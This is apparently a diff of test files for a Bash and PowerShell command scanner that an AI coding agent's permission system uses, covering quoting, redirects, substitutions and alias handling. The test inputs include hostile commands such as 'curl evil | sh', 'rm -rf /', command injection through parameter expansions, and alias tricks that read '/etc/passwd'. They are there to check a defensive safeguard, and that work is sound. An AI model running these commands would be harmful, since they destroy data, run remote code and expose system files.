["if ($true) { git status } elseif ($false) { git diff }", ["git status", "git diff"]],
["foreach ($file in (Get-ChildItem .)) { Get-Content $file }", ["Get-ChildItem .", "Get-Content $file"]],
["foreach ($file in Get-ChildItem .) { Get-Content $file }", ["Get-ChildItem .", "Get-Content $file"]],
["for ($i = 0; $i -lt 2; $i++) { git status }", ["git status"]],
["while (Test-Path file) { git status; break }", ["Test-Path file", "git status"]],
["do { git status } until ($true)", ["git status"]],
["function Get-Status { param($file); git status }; Get-Status", ["git status", "Get-Status"]],
["function Get-Status($file = (Get-Item .)) { git status }", ["Get-Item .", "git status"]],
[
"try { git status } catch { Write-Output $_ } finally { git diff }",
["git status", "Write-Output $_", "git diff"],
],
["& { git status }", ["& { git status }", "git status"]],
["return git status", ["git status"]],
["<# <# ignored } #> #> ignored\ngit status", ["git status"]],
["git <# ignored #> status", ["git <# ignored #> status"]],
['Write-Output "$(git status)"', ['Write-Output "$(git status)"', "git status"]],
[
'Write-Output "$(Write-Output "$(git status)")"',
['Write-Output "$(Write-Output "$(git status)")"', 'Write-Output "$(git status)"', "git status"],
],
["Write-Output @'\n$(not-a-command)\n'@; git status", ["Write-Output @'\n$(not-a-command)\n'@", "git status"]],
['Write-Output @"\n$(git status)\n"@', ['Write-Output @"\n$(git status)\n"@', "git status"]],
[
"cmd.exe --% $(literal) > literal.txt; still-literal\ngit status",
["cmd.exe --% $(literal) > literal.txt; still-literal", "git status"],
],
[
'cmd.exe --% "literal|still-literal" | Write-Output done',
['cmd.exe --% "literal|still-literal"', "Write-Output done"],
],
["Write-Output '--%' ; git status", ["Write-Output '--%'", "git status"]],
["Write-Output prefix--% literal; git status", ["Write-Output prefix--% literal", "git status"]],
["git status |\n\n# comment\nOut-String", ["git status", "Out-String"]],
] as const)("extracts command resources from %s", (source, resources) => {
const result = ShellScan.scanPowerShell(source)
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands.map((command) => command.resource)).toEqual([...resources])
})
test.each(["\n", "\r", "\r\n"])(
"distinguishes standalone continuations from escapes inside tokens: %j",
(newline) => {
expect(ShellScan.scanPowerShell(`git \`${newline}\tstatus`)).toMatchObject({
kind: "scanned",
commands: [{ words: ["git", "status"], rawWords: ["git", "status"] }],
})
expect(ShellScan.scanPowerShell(`Write-Output left\`${newline}right`)).toMatchObject({
kind: "scanned",
commands: [
{ words: ["Write-Output", `left${newline}right`], rawWords: ["Write-Output", `left\`${newline}right`] },
],
})
},
)
test("decodes literal backtick escapes without evaluating expressions", () => {
const source = '& "Wr`ite-Output" "tab`tnewline`n`u{1f642}" left`;right'
expect(ShellScan.scanPowerShell(source)).toMatchObject({
kind: "scanned",
commands: [
{
resource: source,
words: ["Write-Output", "tab\tnewline\n\u{1f642}", "left;right"],
rawWords: ['"Wr`ite-Output"', '"tab`tnewline`n`u{1f642}"', "left`;right"],
},
],
})
})
test("preserves word offsets relative to each raw command, including nested invocations", () => {
const source = ' & git\tstatus\t--short; Write-Output "$(git\tlog)"'
const result = ShellScan.scanPowerShell(source)
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands[0]?.wordEnds).toEqual([5, 12, 20])
expect(result.commands[2]?.resource).toBe("git\tlog")
for (const command of result.commands) {
expect(command.wordEnds).toHaveLength(command.rawWords.length)
for (const [index, word] of command.rawWords.entries()) {
const end = command.wordEnds![index]!
expect(command.resource.slice(end - word.length, end)).toBe(word)
}
}
})
test.each([
["ForEach-Object { git status }", true],
["git status; ForEach-Object { git diff }", true],
["git status | ForEach-Object { git diff }", undefined],
["git status && ForEach-Object { git diff }", undefined],
["git status || ForEach-Object { git diff }", undefined],
["& ForEach-Object { git status }", undefined],
["& 'ForEach-Object' { git status }", undefined],
["% { git status }", true],
["foreachthing { git status }", true],
] as const)("retains caller and lexical statement-head context: %s", (source, statementHead) => {
const result = ShellScan.scanPowerShell(source)
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
const caller = result.commands.find((command) => command.rawWords.at(-1)?.startsWith("{"))
expect(caller).toBeDefined()
expect(caller?.statementHead).toBe(statementHead)
expect(result.commands.at(-1)?.words[0]).toBe("git")
})
test.each([
"if ($true) { git status",
'Write-Output "$(git status"',
"Write-Output @(git status",
"Write-Output @'\nunclosed",
"<# unclosed",
"git status |\n# no operand",
"Write-Output `u{110000}",
"Write-Output `u{xyz}",
])("bounds and reports incomplete lexical structures: %s", (source) => {
expect(ShellScan.scanPowerShell(source).kind).toBe("opaque")
})
test("bounds mixed expression, string, and block recursion", () => {
expect(ShellScan.scanPowerShell("$(".repeat(40) + "git status" + ")".repeat(40)).kind).toBe("opaque")
expect(ShellScan.scanPowerShell('Write-Output "$('.repeat(40) + "git status" + ')"'.repeat(40)).kind).toBe("opaque")
})
})
@@ -0,0 +1,154 @@
import { describe, expect, test } from "bun:test"
import { Effect } from "effect"
import { ShellParse } from "../../src/shell/parse.js"
import { ShellScan } from "../../src/shell/scan.js"
import { Wildcard } from "../../src/util/wildcard.js"
async function parity(source: string) {
const legacy = await Effect.runPromise(ShellParse.scan(source, "/bin/bash", "/workspace"))
const native = await Effect.runPromise(ShellParse.scanPortable(source, "/bin/bash", "/workspace"))
expect(native, source).toEqual(legacy)
}
describe("Bash redirect resource oracle", () => {
test.each([
["printf hello | cat > marker", ["printf hello", "cat"]],
["printf ok && git status > output", ["printf ok", "git status"]],
["cat > output", ["cat > output"]],
["cat > output | cat", ["cat > output", "cat"]],
["pwd | > output cat > tail", ["pwd", "> output cat"]],
["pwd && cat > output file", ["pwd", "cat"]],
["pwd; cat > output", ["pwd", "cat > output"]],
["pwd\ncat > output", ["pwd", "cat > output"]],
] as const)("matches exact permission resources: %s", async (source, resources) => {
const legacy = await Effect.runPromise(ShellParse.scan(source, "/bin/bash", "/workspace"))
expect(legacy.commands.map((command) => command.resource)).toEqual([...resources])
await parity(source)
})
test("matches redirect positions across generated list and pipeline boundaries", async () => {
const redirects = [">output", ">>output", "<input", "2>err", "2>&1", "<&0", ">|output", "&>output", "&>>output"]
const separators = [" | ", " |& ", " && ", " || ", "; ", " & ", "\n"]
for (const redirect of redirects) {
for (const command of [
`${redirect} git status`,
`git ${redirect} status`,
`git status ${redirect}`,
`${redirect} git status 3>tail`,
`${redirect} FOO=bar git status 3>tail`,
`npm run ${redirect} test`,
]) {
await parity(command)
for (const separator of separators) {
await parity(`printf ok${separator}${command}`)
await parity(`${command}${separator}pwd >last`)
}
}
}
})
test.each([
"pwd | cat >out | tail >log",
"pwd && cat >out || tail >log",
"pwd && cat >out | tail >log",
"pwd | cat >out && tail >log",
"pwd |\n\n# comment\ncat >out",
"pwd &&\n# comment\ncat >out",
"pwd | cat >out # comment\ncat >log",
"pwd | cat # comment\n>out cat",
"pwd | cat \\\n 2>out",
"pwd | cat a\\\n>out",
"pwd | cat 2\\\n>out",
"pwd && FOO=bar >output git status 3>tail",
"(cat >out) | tail >log",
"{ cat >out; } && tail >log",
"(pwd | cat >out) >group",
"(cat >out) >$(printf log) && cat >tail",
"(cat >out); cat >tail",
"echo $(pwd | cat >out) >outer",
'echo "$(pwd && cat >out)" | cat >outer',
"echo `pwd | cat >out` >outer",
"pwd | cat >$(printf out)",
'pwd | cat >"$(printf out)"',
"pwd | cat >$(printf out | cat >inner)",
"pwd | cat >out $(printf arg) >tail",
"pwd | cat <(printf input) > >(cat >log)",
"cat <(pwd | cat >out) | cat >tail",
"pwd | cat >out <(printf arg) >tail",
"pwd | cat '>' \"2>out\" escaped\\>word >out",
"pwd | cat '2'>out",
"pwd | cat 2\\>out",
"if true; then printf ok && cat >$(printf path); fi",
"if true; then printf ok && git >out status; else cat >log; fi",
"pwd && cd >out /outside",
"time git status",
"time -p git status",
"coproc git status",
])("preserves nested commands, prefixes, and context: %s", parity)
test("keeps lexical words and nested redirect-target commands after narrowing the resource", () => {
const result = ShellScan.scan('pwd | git >"$(printf output)" status')
expect(result.kind).toBe("scanned")
if (result.kind !== "scanned") throw new Error(`Unexpected opacity: ${result.reason}`)
expect(result.commands[1]).toMatchObject({
resource: "git",
words: ["git", "status"],
rawWords: ["git", "status"],
redirectWordCount: 1,
})
expect(result.commands[2]).toMatchObject({ resource: "printf output", rawWords: ["printf", "output"] })
})
test("excludes ignored trailing continuations from narrowed command prefixes", async () => {
const source = "pwd | cat\\\n >out"
const legacy = await Effect.runPromise(ShellParse.scan(source, "/bin/bash", "/workspace"))
const result = ShellScan.scan(source)
expect(result.kind).toBe("scanned")
if (result.kind !== "scanned") throw new Error(`Unexpected opacity: ${result.reason}`)
expect(result.commands.map((command) => command.resource)).toEqual(
legacy.commands.map((command) => command.resource),
)
expect(result.commands[1]?.rawWords).toEqual(["cat"])
expect(legacy.commands[1]).toEqual({ resource: "cat", save: "cat *" })
const native = await Effect.runPromise(ShellParse.scanPortable(source, "/bin/bash", "/workspace"))
expect(native).toEqual(legacy)
expect(native.commands.every((command) => Wildcard.match(command.resource, command.save))).toBe(true)
})
test.each(["cat\\\n", "cat \\\n", "cat\\\n\\\n", "cat\\\n;", "cat >out\\\n", "cat >out \\\n"])(
"saved prefixes cover their standalone continuation command: %j",
async (source) => {
await parity(source)
const result = ShellScan.scan(source)
expect(result.kind).toBe("scanned")
if (result.kind !== "scanned") throw new Error(result.reason)
expect(result.commands[0]?.rawWords).toEqual(["cat"])
const native = await Effect.runPromise(ShellParse.scanPortable(source, "/bin/bash", "/workspace"))
expect(native.commands[0]).toEqual({ resource: source.includes(">out") ? "cat >out" : "cat", save: "cat *" })
expect(native.commands.every((command) => Wildcard.match(command.resource, command.save))).toBe(true)
},
)
test.each(["printf 'literal\\\n'\\\n", 'printf "literal\\\n"\\\n', "printf a\\\nb\\\n", 'printf a\\\n""\\\n'])(
"preserves meaningful raw syntax before an ignored trailing continuation: %j",
async (source) => {
await parity(source)
const result = ShellScan.scan(source)
expect(result.kind).toBe("scanned")
if (result.kind !== "scanned") throw new Error(result.reason)
expect(result.commands[0]?.resource).toBe(source.slice(0, -2))
expect(result.commands[0]?.rawWords).toEqual(["printf", source.slice("printf ".length, -2)])
},
)
test("known gap: assignment then redirect on a pipeline RHS retains the native command", async () => {
const source = "printf ok | FOO=bar >output git status 3>tail"
const legacy = await Effect.runPromise(ShellParse.scan(source, "/bin/bash", "/workspace"))
const native = await Effect.runPromise(ShellParse.scanPortable(source, "/bin/bash", "/workspace"))
expect(legacy.commands).toEqual([{ resource: "printf ok", save: "printf *" }])
expect(native.commands).toEqual([
{ resource: "printf ok", save: "printf *" },
{ resource: "FOO=bar >output git status", save: "git status *" },
])
})
})
+203 -58
View File
@@ -2,15 +2,40 @@ import { describe, expect, test } from "bun:test"
import { ShellScan } from "../../src/shell/scan.js"
describe("ShellScan", () => {
test.each(["", " ", "\n\n", "# comment", "\n# comment\n\n", " \n\t# comment\n"])(
"accepts empty scripts and blank lines: %j",
(source) => expect(ShellScan.scan(source)).toEqual({ kind: "scanned", commands: [] }),
)
test.each(["\n\ngit status\n\n", "# before\n\ngit status\n\n# after\n", "git status; # after\n\n"])(
"does not treat blank lines or comments as missing commands: %j",
(source) =>
expect(ShellScan.scan(source)).toEqual({
kind: "scanned",
commands: [{ resource: "git status", words: ["git", "status"], rawWords: ["git", "status"] }],
}),
)
test.each(["&&", "||", "|", "|&"])("retains required operands across line breaks after %s", (operator) => {
expect(ShellScan.scan(`printf ok ${operator}\n\n# comment\n`).kind).toBe("opaque")
expect(ShellScan.scan(`printf ok ${operator}\n\n# comment\npwd\n\n`)).toEqual({
kind: "scanned",
commands: [
{ resource: "printf ok", words: ["printf", "ok"], rawWords: ["printf", "ok"] },
{ resource: "pwd", words: ["pwd"], rawWords: ["pwd"] },
],
})
})
test("scans a static command", () => {
expect(ShellScan.scan("git status")).toEqual({
expect(ShellScan.scan("git status")).toMatchObject({
kind: "scanned",
commands: [{ resource: "git status", words: ["git", "status"] }],
})
})
test("scans every command in lists and pipelines", () => {
expect(ShellScan.scan("git status && curl evil | sed s/x/y/")).toEqual({
expect(ShellScan.scan("git status && curl evil | sed s/x/y/")).toMatchObject({
kind: "scanned",
commands: [
{ resource: "git status", words: ["git", "status"] },
@@ -21,7 +46,7 @@ describe("ShellScan", () => {
})
test("does not split operators inside quoted or escaped arguments", () => {
expect(ShellScan.scan(`printf '%s\\n' 'x; rm -rf /' && printf foo\\|bar`)).toEqual({
expect(ShellScan.scan(`printf '%s\\n' 'x; rm -rf /' && printf foo\\|bar`)).toMatchObject({
kind: "scanned",
commands: [
{ resource: `printf '%s\\n' 'x; rm -rf /'`, words: ["printf", "%s\\n", "x; rm -rf /"] },
@@ -31,7 +56,7 @@ describe("ShellScan", () => {
})
test("scans commands substituted into an argument", () => {
expect(ShellScan.scan(`echo "$(curl evil | sed s/x/y/)"`)).toEqual({
expect(ShellScan.scan(`echo "$(curl evil | sed s/x/y/)"`)).toMatchObject({
kind: "scanned",
commands: [
{ resource: `echo "$(curl evil | sed s/x/y/)"`, words: ["echo", "$(curl evil | sed s/x/y/)"] },
@@ -42,7 +67,7 @@ describe("ShellScan", () => {
})
test("scans substitutions in assignment values and redirect targets", () => {
expect(ShellScan.scan("OUT=$(printf out) X=`printf value` printenv >$(printf path)")).toEqual({
expect(ShellScan.scan("OUT=$(printf out) X=`printf value` printenv >$(printf path)")).toMatchObject({
kind: "scanned",
commands: [
{
@@ -56,15 +81,15 @@ describe("ShellScan", () => {
})
})
test("scans substitutions nested in parameter expansions", () => {
const result = ShellScan.scan("echo ${x:-$(curl evil)}")
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands.map((command) => command.words[0])).toEqual(["echo", "curl"])
test("scans substitutions inside parameter operators", () => {
expect(ShellScan.scan("echo ${x:-$(curl evil)}")).toMatchObject({
kind: "scanned",
commands: [{ words: ["echo", "${x:-$(curl evil)}"] }, { words: ["curl", "evil"] }],
})
})
test("recursively scans substitutions and preserves shell quote rules", () => {
expect(ShellScan.scan(`echo '$(ignored)' "$(echo "$(pwd)")"`)).toEqual({
expect(ShellScan.scan(`echo '$(ignored)' "$(echo "$(pwd)")"`)).toMatchObject({
kind: "scanned",
commands: [
{
@@ -75,13 +100,13 @@ describe("ShellScan", () => {
{ resource: "pwd", words: ["pwd"] },
],
})
expect(ShellScan.scan("echo `echo \\`pwd\\``").kind).toBe("scanned")
const legacy = ShellScan.scan("echo `echo \\`pwd\\``")
if (legacy.kind === "opaque") return
expect(legacy.commands.map((command) => command.words[0])).toEqual(["echo", "echo", "pwd"])
expect(ShellScan.scan("echo `echo \\`pwd\\``")).toMatchObject({
kind: "scanned",
commands: [{ words: ["echo", "`echo \\`pwd\\``"] }, { words: ["echo", "`pwd`"] }, { words: ["pwd"] }],
})
})
test.each(["echo $(printf ok &&)", "echo $($COMMAND status)"])(
test.each(["echo $(printf ok &&)", "echo $(printf ${value:-fallback)"])(
"makes the whole result opaque when a nested scan is opaque: %s",
(command) => {
expect(ShellScan.scan(command).kind).toBe("opaque")
@@ -94,15 +119,15 @@ describe("ShellScan", () => {
expect(ShellScan.scan(`echo ${"x".repeat(64 * 1024)}`)).toEqual({ kind: "opaque", reason: "invalid-structure" })
})
test("returns opaque when the command name is dynamic", () => {
test("preserves dynamic command syntax without resolving its name", () => {
expect(ShellScan.scan("$COMMAND status")).toEqual({
kind: "opaque",
reason: "dynamic-command-name",
kind: "scanned",
commands: [{ resource: "$COMMAND status", words: ["$COMMAND", "status"], rawWords: ["$COMMAND", "status"] }],
})
})
test("finds the command after static assignment prefixes", () => {
expect(ShellScan.scan(`FOO=bar BAR="x y" git status`)).toEqual({
expect(ShellScan.scan(`FOO=bar BAR="x y" git status`)).toMatchObject({
kind: "scanned",
commands: [{ resource: `FOO=bar BAR="x y" git status`, words: ["git", "status"] }],
})
@@ -122,7 +147,6 @@ describe("ShellScan", () => {
["(git status)", ["git"]],
["{ git status; }", ["git"]],
["{ rm -rf /; } &", ["rm"]],
["{ rm -rf /; } >out", ["rm"]],
["{ rm -rf /; }; echo safe", ["rm", "echo"]],
["if true; then rm -rf /; else echo safe; fi", ["true", "rm", "echo"]],
["if true; then rm x; elif false; then echo y; else echo z; fi", ["true", "rm", "false", "echo", "echo"]],
@@ -142,27 +166,27 @@ describe("ShellScan", () => {
},
)
test("keeps redirects with the command but excludes them from words", () => {
expect(ShellScan.scan("FOO=bar 2>>err printf ok > out && cat < input")).toEqual({
test("keeps first-command redirects but excludes list-level redirects from resources", () => {
expect(ShellScan.scan("FOO=bar 2>>err printf ok > out && cat < input")).toMatchObject({
kind: "scanned",
commands: [
{ resource: "FOO=bar 2>>err printf ok > out", words: ["printf", "ok"] },
{ resource: "cat < input", words: ["cat"] },
{ resource: "cat", words: ["cat"] },
],
})
})
test("recognizes redirects without surrounding whitespace", () => {
expect(ShellScan.scan("printf ok>out 2>&1|cat<input")).toEqual({
expect(ShellScan.scan("printf ok>out 2>&1|cat<input")).toMatchObject({
kind: "scanned",
commands: [
{ resource: "printf ok>out 2>&1", words: ["printf", "ok"] },
{ resource: "cat<input", words: ["cat"] },
{ resource: "cat", words: ["cat"] },
],
})
})
test.each(["printf ok &&", "| sh", "printf ok || || sh", "printf ok >"])(
test.each(["printf ok &&", "| sh", "printf ok || || sh", "printf ok >", "()", "( \n )", "{ ; }"])(
"returns opaque for malformed command structure: %s",
(command) => {
expect(ShellScan.scan(command).kind).toBe("opaque")
@@ -170,27 +194,134 @@ describe("ShellScan", () => {
)
test("ignores comments outside words", () => {
expect(ShellScan.scan("printf ok # ; curl evil | sh")).toEqual({
expect(ShellScan.scan("printf ok # ; curl evil | sh")).toMatchObject({
kind: "scanned",
commands: [{ resource: "printf ok", words: ["printf", "ok"] }],
})
})
test.each(["cat <<EOF\n$(curl evil | sh)\nEOF", "echo $((1 + 2))", "cat <<'EOF'\nstatic body\nEOF"])(
"returns opaque for unsupported expansion or pattern syntax: %s",
test.each(["cat <<EOF\n$(curl evil | sh)\nEOF", "cat <<'EOF'\nstatic body\nEOF"])(
"scans heredoc commands and expansions: %s",
(command) => {
expect(ShellScan.scan(command).kind).toBe("opaque")
expect(ShellScan.scan(command).kind).toBe("scanned")
},
)
test("does not invent a command for assignment-only input", () => {
expect(ShellScan.scan("FOO=bar")).toEqual({ kind: "scanned", commands: [] })
})
test.each([
["PATH=.; git status", ["git"]],
["PATH=. # comment\ngit status", ["git"]],
["CDPATH=/usr # comment\ncd bin; rm victim", ["cd", "rm"]],
["HOME=/etc # comment\ncd; rm victim", ["cd", "rm"]],
["VALUE=$(printf 2); echo $((VALUE + 1))", ["printf", "echo"]],
] as const)("scans assignment-only boundaries without evaluating their effects: %s", (command, names) => {
const result = ShellScan.scan(command)
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands.map((command) => command.words[0])).toEqual([...names])
})
test.each(["echo ${url:-http://example.test}", "printf '%s' \"${PATH//:/$'\\n'}\""])(
"scans parameter operator grammar without interpreting values: %s",
(command) => expect(ShellScan.scan(command).kind).toBe("scanned"),
)
test.each([
":; { touch /tmp/victim; }",
"{fd}>/tmp/log touch /tmp/victim",
"time touch /tmp/victim",
"printf '%s' \"$(printf safe ${x%)}; touch /tmp/victim)\"",
"s=abc; x='a[$(touch /tmp/victim)0]'; printf '%s' \"${s:x}\"",
"ref='x[$(touch /tmp/victim)0]'; printf '%s' \"${!ref}\"",
"if true; then echo safe; fi > /tmp/victim",
"if true; then :; 'if' victim; fi",
])("scans Bash lexical forms without interpreting shell values: %s", (command) => {
expect(ShellScan.scan(command).kind).toBe("scanned")
})
test("bounds nested parameter expansions", () => {
expect(ShellScan.scan(`printf '%s' "${"${".repeat(1000)}x${"}".repeat(1000)}"`).kind).toBe("opaque")
})
})
describe("ShellScan lexical provenance", () => {
test("retains Bash quotes and escapes while excluding assignment prefixes and redirects", () => {
const source = `FOO='x y' 2>"error log" g"it" 'status' a\\ b "" >output`
expect(ShellScan.scan(source)).toEqual({
kind: "scanned",
commands: [
{
resource: source,
words: ["git", "status", "a b", ""],
rawWords: ['g"it"', "'status'", "a\\ b", '""'],
},
],
})
})
test("does not mistake quoted assignment-like words or fd numbers for shell syntax", () => {
expect(ShellScan.scan(`F"OO"=bar '123'>out`)).toEqual({
kind: "scanned",
commands: [{ resource: `F"OO"=bar '123'>out`, words: ["FOO=bar", "123"], rawWords: ['F"OO"=bar', "'123'"] }],
})
})
test("retains nested Bash substitutions and continuations from the original token", () => {
const source = "echo \"$(printf '%s' 2)\" a\\\nb; pwd"
const result = ShellScan.scan(source)
expect(result).toEqual({
kind: "scanned",
commands: [
{
resource: "echo \"$(printf '%s' 2)\" a\\\nb",
words: ["echo", "$(printf '%s' 2)", "ab"],
rawWords: ["echo", "\"$(printf '%s' 2)\"", "a\\\nb"],
},
{ resource: "printf '%s' 2", words: ["printf", "%s", "2"], rawWords: ["printf", "'%s'", "2"] },
{ resource: "pwd", words: ["pwd"], rawWords: ["pwd"] },
],
})
})
test("retains PowerShell invocation quotes, escaped words, and empty arguments", () => {
const source = `& 'Write-Output' "a""b" a\`#b '' >'out file' 2>&1`
expect(ShellScan.scanPowerShell(source)).toMatchObject({
kind: "scanned",
commands: [
{
resource: source,
words: ["Write-Output", 'a"b', "a#b", ""],
rawWords: ["'Write-Output'", '"a""b"', "a`#b", "''"],
},
],
})
})
test("keeps separate PowerShell literal tokens and nested script block spans", () => {
const source = "ForEach-Object { Write-Output 'safe'tail }"
expect(ShellScan.scanPowerShell(source)).toMatchObject({
kind: "scanned",
commands: [
{
resource: source,
words: ["ForEach-Object", "{ Write-Output 'safe'tail }"],
rawWords: ["ForEach-Object", "{ Write-Output 'safe'tail }"],
},
{
resource: "Write-Output 'safe'tail",
words: ["Write-Output", "safe", "tail"],
rawWords: ["Write-Output", "'safe'", "tail"],
},
],
})
})
})
describe("ShellScan PowerShell", () => {
test("keeps adjacent invocation operators in resources", () => {
expect(ShellScan.scanPowerShell("&Remove-Item victim")).toEqual({
expect(ShellScan.scanPowerShell("&Remove-Item victim")).toMatchObject({
kind: "scanned",
commands: [{ resource: "&Remove-Item victim", words: ["Remove-Item", "victim"] }],
})
@@ -235,7 +366,7 @@ describe("ShellScan PowerShell", () => {
})
test("scans static commands and pipelines", () => {
expect(ShellScan.scanPowerShell("Get-ChildItem; Write-Output 'done' | Out-File output.txt")).toEqual({
expect(ShellScan.scanPowerShell("Get-ChildItem; Write-Output 'done' | Out-File output.txt")).toMatchObject({
kind: "scanned",
commands: [
{ resource: "Get-ChildItem", words: ["Get-ChildItem"] },
@@ -246,28 +377,32 @@ describe("ShellScan PowerShell", () => {
})
test("keeps separators inside strings", () => {
expect(ShellScan.scanPowerShell('Write-Output "safe; still safe"')).toEqual({
expect(ShellScan.scanPowerShell('Write-Output "safe; still safe"')).toMatchObject({
kind: "scanned",
commands: [{ resource: 'Write-Output "safe; still safe"', words: ["Write-Output", "safe; still safe"] }],
})
})
test("treats escaped command separators as opaque for legacy compatibility", () => {
expect(ShellScan.scanPowerShell("Write-Output foo`;bar")).toEqual({
kind: "opaque",
reason: "invalid-structure",
test("keeps escaped command separators in the argument", () => {
expect(ShellScan.scanPowerShell("Write-Output foo`;bar")).toMatchObject({
kind: "scanned",
commands: [{ resource: "Write-Output foo`;bar", words: ["Write-Output", "foo;bar"] }],
})
})
test("treats line continuations as opaque for legacy compatibility", () => {
expect(ShellScan.scanPowerShell("Write-Output x`\nRemove-Item victim")).toEqual({
kind: "opaque",
reason: "invalid-structure",
test("keeps escaped newlines in a started generic token", () => {
expect(ShellScan.scanPowerShell("Write-Output x`\nRemove-Item victim")).toMatchObject({
kind: "scanned",
commands: [
{ resource: "Write-Output x`\nRemove-Item victim", words: ["Write-Output", "x\nRemove-Item", "victim"] },
],
})
})
test("uses PowerShell quote escaping rules", () => {
expect(ShellScan.scanPowerShell("Write-Output 'a''b; still string'; Write-Output \"a`\"; still string\"")).toEqual({
expect(
ShellScan.scanPowerShell("Write-Output 'a''b; still string'; Write-Output \"a`\"; still string\""),
).toMatchObject({
kind: "scanned",
commands: [
{ resource: "Write-Output 'a''b; still string'", words: ["Write-Output", "a'b; still string"] },
@@ -276,8 +411,18 @@ describe("ShellScan PowerShell", () => {
})
})
test("does not treat backticks as escapes in verbatim strings", () => {
const result = ShellScan.scanPowerShell("Write-Output 'safe`'; Remove-Item victim; '`'")
if (result.kind === "opaque") return
expect(result.commands.map((command) => command.words[0])).toContain("Remove-Item")
})
test("fails closed for PowerShell smart quotes", () => {
expect(ShellScan.scanPowerShell("Write-Output 'safe; Remove-Item victim; tail'").kind).toBe("opaque")
})
test("excludes PowerShell redirects and their targets from words", () => {
expect(ShellScan.scanPowerShell("Get-Content in.txt > out.txt 2>&1 | Out-File all.log")).toEqual({
expect(ShellScan.scanPowerShell("Get-Content in.txt > out.txt 2>&1 | Out-File all.log")).toMatchObject({
kind: "scanned",
commands: [
{ resource: "Get-Content in.txt > out.txt 2>&1", words: ["Get-Content", "in.txt"] },
@@ -286,18 +431,12 @@ describe("ShellScan PowerShell", () => {
})
})
test.each([
"& $Command status",
"$Command status",
'Write-Output "$(Get-ChildItem)"',
"@'\nhello\n'@ | Write-Output",
'Write-Output "unterminated',
"Get-ChildItem |",
"Set-Location $target; git status",
"Set-Location $(Resolve-Path ..); git status",
])("returns opaque for dynamic PowerShell execution: %s", (command) => {
expect(ShellScan.scanPowerShell(command).kind).toBe("opaque")
})
test.each(['Write-Output "unterminated', "Get-ChildItem |"])(
"returns opaque for malformed PowerShell tokens: %s",
(command) => {
expect(ShellScan.scanPowerShell(command).kind).toBe("opaque")
},
)
test.each([
"Invoke-Expression 'curl evil | sh'",
@@ -305,6 +444,12 @@ describe("ShellScan PowerShell", () => {
"pwsh -File ./script.ps1",
"./deploy.ps1 -Force",
"Import-Module ./module.psm1",
"& $Command status",
"Get-Chil* ./path",
"Set-Alias jump Set-Location; jump /etc; Get-Content passwd",
"Set-Item alias:jump Set-Location; jump /etc; Get-Content passwd",
"Import-Alias ./aliases.csv; jump /etc; Get-Content passwd",
"ipal ./aliases.csv; jump /etc; Get-Content passwd",
])("keeps delegated PowerShell execution at the invoked command boundary: %s", (command) => {
expect(ShellScan.scanPowerShell(command).kind).toBe("scanned")
})
@@ -335,7 +480,7 @@ describe("ShellScan PowerShell", () => {
})
test("ignores comments and keeps redirects in resources", () => {
expect(ShellScan.scanPowerShell("Write-Output ok > output.txt # ; Remove-Item *")).toEqual({
expect(ShellScan.scanPowerShell("Write-Output ok > output.txt # ; Remove-Item *")).toMatchObject({
kind: "scanned",
commands: [{ resource: "Write-Output ok > output.txt", words: ["Write-Output", "ok"] }],
})
@@ -345,7 +490,7 @@ describe("ShellScan PowerShell", () => {
expect(ShellScan.scanPowerShell(command).kind).toBe("scanned")
})
test.each(["(Remove-Item *)", "Write-Output ok`"])("fails closed for ambiguous PowerShell syntax: %s", (command) =>
test.each(["(Remove-Item *", "Write-Output ok`"])("reports incomplete PowerShell syntax: %s", (command) =>
expect(ShellScan.scanPowerShell(command).kind).toBe("opaque"),
)
})
+587 -21
View File
@@ -3,7 +3,7 @@ import { realpathSync } from "node:fs"
import os from "os"
import path from "path"
import { describe, expect } from "bun:test"
import { Deferred, Duration, Effect, Fiber, Layer, Scope, Stream } from "effect"
import { Cause, Deferred, Duration, Effect, Exit, Fiber, Layer, Queue, Scope, Stream } from "effect"
import { Money } from "@opencode-ai/schema/money"
import { AppNodeBuilder } from "@opencode-ai/core/effect/app-node-builder"
import { LayerNode } from "@opencode-ai/util/effect/layer-node"
@@ -29,6 +29,7 @@ import { SessionExecution } from "@opencode-ai/core/session/execution"
import { SessionMessage } from "@opencode-ai/core/session/message"
import { SessionStore } from "@opencode-ai/core/session/store"
import { Permission } from "@opencode-ai/core/permission"
import { PermissionSaved } from "@opencode-ai/core/permission/saved"
import { PluginRuntime } from "@opencode-ai/core/plugin/runtime"
import { PluginSupervisor } from "@opencode-ai/core/plugin/supervisor"
import { Shell } from "@opencode-ai/core/shell"
@@ -158,6 +159,13 @@ const replacements = [
] satisfies LayerNode.Replacements
const productionIt = testEffect(AppNodeBuilder.build(nodes, replacements))
const it = testEffect(AppNodeBuilder.build(nodes, [...replacements, [PluginSupervisor.node, shellPluginSupervisor]]))
const permissionIt = testEffect(
AppNodeBuilder.build(LayerNode.group([nodes, PermissionSaved.node]), [
[SessionExecution.node, executionNode],
[Global.node, tempGlobalLayer],
[PluginSupervisor.node, shellPluginSupervisor],
]),
)
const call = (input: typeof ShellTool.Input.Type, id = "call-shell") => ({
sessionID,
@@ -212,6 +220,488 @@ const withSession = <A, E, R>(directory: string, body: (registry: Tool.Interface
}).pipe(Effect.provide(locationLayer), Effect.ensuring(locations.invalidate(location)))
})
const withScanner = <A, E, R>(
portable: boolean,
body: (registry: Tool.Interface, fixture: { active: string; outside: string }) => Effect.Effect<A, E, R>,
shell = "sh",
) =>
Effect.acquireUseRelease(
Effect.promise(() => tmpdir()),
(tmp) =>
Effect.gen(function* () {
const fixture = { active: path.join(tmp.path, "active"), outside: path.join(tmp.path, "outside") }
yield* Effect.promise(() => Promise.all([fs.mkdir(fixture.active), fs.mkdir(fixture.outside)]))
yield* Effect.promise(() =>
Bun.write(
path.join(fixture.active, "opencode.json"),
JSON.stringify({ experimental: { portable_shell_scanner: portable } }),
),
)
return yield* withSession(fixture.active, (registry) =>
Effect.gen(function* () {
const selection = yield* ShellSelect.Service
yield* selection.transform((draft) => draft.configure(shell))
const agents = yield* Agent.Service
yield* agents.transform((draft) =>
draft.update(toolIdentity.agent, (agent) => {
agent.permissions = []
}),
)
return yield* body(registry, fixture)
}),
)
}),
(tmp) => Effect.promise(() => tmp[Symbol.asyncDispose]().then(() => undefined)),
)
const runPermissionCommand = (
registry: Tool.Interface,
command: string,
marker: string,
